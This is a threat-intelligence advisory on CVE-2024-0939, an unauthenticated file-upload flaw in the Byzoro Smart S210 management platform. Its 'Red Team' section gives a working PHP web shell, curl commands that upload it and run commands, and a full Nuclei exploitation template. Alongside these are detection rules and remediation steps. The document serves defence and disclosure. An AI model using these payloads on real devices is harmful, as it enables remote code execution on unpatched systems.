CVE-2024-0939

Executive Summary

CVE-2024-0939 is a critical unauthenticated arbitrary file upload vulnerability in the Byzoro Smart S210 Management Platform (firmware versions up to 20240117). The flaw resides in the /Tool/uploadfile.php endpoint, where the file_upload parameter is not properly validated. An attacker can upload a malicious PHP file to the server, leading to remote code execution (RCE) with the privileges of the web server. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware for IoT management platforms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.87521 (87.5% probability of exploitation in the next 30 days)
• EPSS Percentile: 99.47 (higher than 99% of all known vulnerabilities)

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The endpoint /Tool/uploadfile.php accepts a file via the file_upload parameter and a destination path via txt_path. The application does not validate the file type, content, or extension. An attacker can upload a PHP web shell by:

1. Sending a POST request with a multipart form containing a PHP payload (e.g., <?php system($_GET['cmd']); ?>).
2. Specifying a path like /home/shell.php in the txt_path parameter.
3. Accessing the uploaded file via HTTP to execute arbitrary commands.

The Nuclei template confirms the vulnerability by uploading a file that performs a mathematical calculation and then verifying the result via a second HTTP request.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /Tool/uploadfile.php (vulnerable)
$target_dir = $_POST['txt_path'];
$target_file = $target_dir . basename($_FILES["file_upload"]["name"]);
move_uploaded_file($_FILES["file_upload"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Conceptual):

<?php
// /Tool/uploadfile.php (patched)
$allowed_extensions = ['jpg', 'png', 'gif', 'txt'];
$target_dir = "/uploads/";
$file_extension = strtolower(pathinfo($_FILES["file_upload"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
$target_file = $target_dir . uniqid() . "." . $file_extension;
move_uploaded_file($_FILES["file_upload"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3 or curl
• Target IP with Smart S210 Management Platform

Manual Exploitation:

# Create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload the shell
curl -X POST http://target/Tool/uploadfile.php \
  -F "file_upload=@shell.php" \
  -F "txt_path=/home/shell.php"

# Execute commands
curl http://target/home/shell.php?cmd=id

Automated Exploitation (Nuclei):

nuclei -t CVE-2024-0939.yaml -u http://target

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /Tool/uploadfile.php with multipart content.
2. Look for unusual file extensions (.php, .phtml, .php5) in the file_upload parameter.
3. Check for unexpected files in /home/ directory.
4. Review web server logs for access to /home/*.php files.

Honeypot Setup:

• Deploy a fake /Tool/uploadfile.php endpoint that logs all upload attempts.
• Use WAF rules to block uploads with PHP content.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_0939_WebShell_Upload {
    meta:
        description = "Detects PHP web shell uploads targeting Byzoro Smart S210"
        author = "Valters IT"
        date = "2024-01-17"
        reference = "CVE-2024-0939"
    strings:
        $php_tag = "<?php"
        $upload_path = "/Tool/uploadfile.php"
        $txt_path = "txt_path"
        $file_upload = "file_upload"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-0939 Byzoro Smart S210 File Upload
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-0939
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Tool/uploadfile.php'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate file uploads (if any)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0939 Byzoro Smart S210 File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Tool/uploadfile.php"; http_uri; content:"multipart/form-data"; http_client_body; content:"file_upload"; http_client_body; content:"txt_path"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2024-0939

info:
  name: Smart S210 Management Platform - Arbitary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
  remediation: |
    Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0939
    - https://vuldb.com/?ctiid.252184
    - https://vuldb.com/?id.252184
    - https://vuldb.com/?submit.269268
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0939
    cwe-id: CWE-434
    epss-score: 0.87521
    epss-percentile: 0.99467
    cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: byzoro
    product: smart_s210_firmware
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart,file-upload,intrusive,rce,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Tool/uploadfile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
        Accept-Encoding: gzip, deflate, br

        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="file_upload"; filename="contents.php"
        Content-Type: application/octet-stream

        <?php print({{num1}}*{{num2}}); ?>
        ------WebKitFormBoundarywnsogfin
        Content-Disposition: form-data; name="txt_path"

        /home/{{filename}}.php
        ------WebKitFormBoundarywnsogfin--

      - |
        GET /home/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{result}}'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate the Smart S210 platform from the internet if possible.
2. Implement WAF rules to block POST requests to /Tool/uploadfile.php with PHP content.
3. Restrict file uploads to specific directories with no execution permissions.
4. Monitor logs for suspicious file uploads and access to /home/*.php.

Long-term Fix:

• Since the vendor is unresponsive, consider replacing the device with a supported alternative.
• If replacement is not possible, apply virtual patching via a reverse proxy or WAF.
• Regularly audit the device for any new firmware updates.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

{/* [Security Hash: 5D65123710B607F83815F148] */}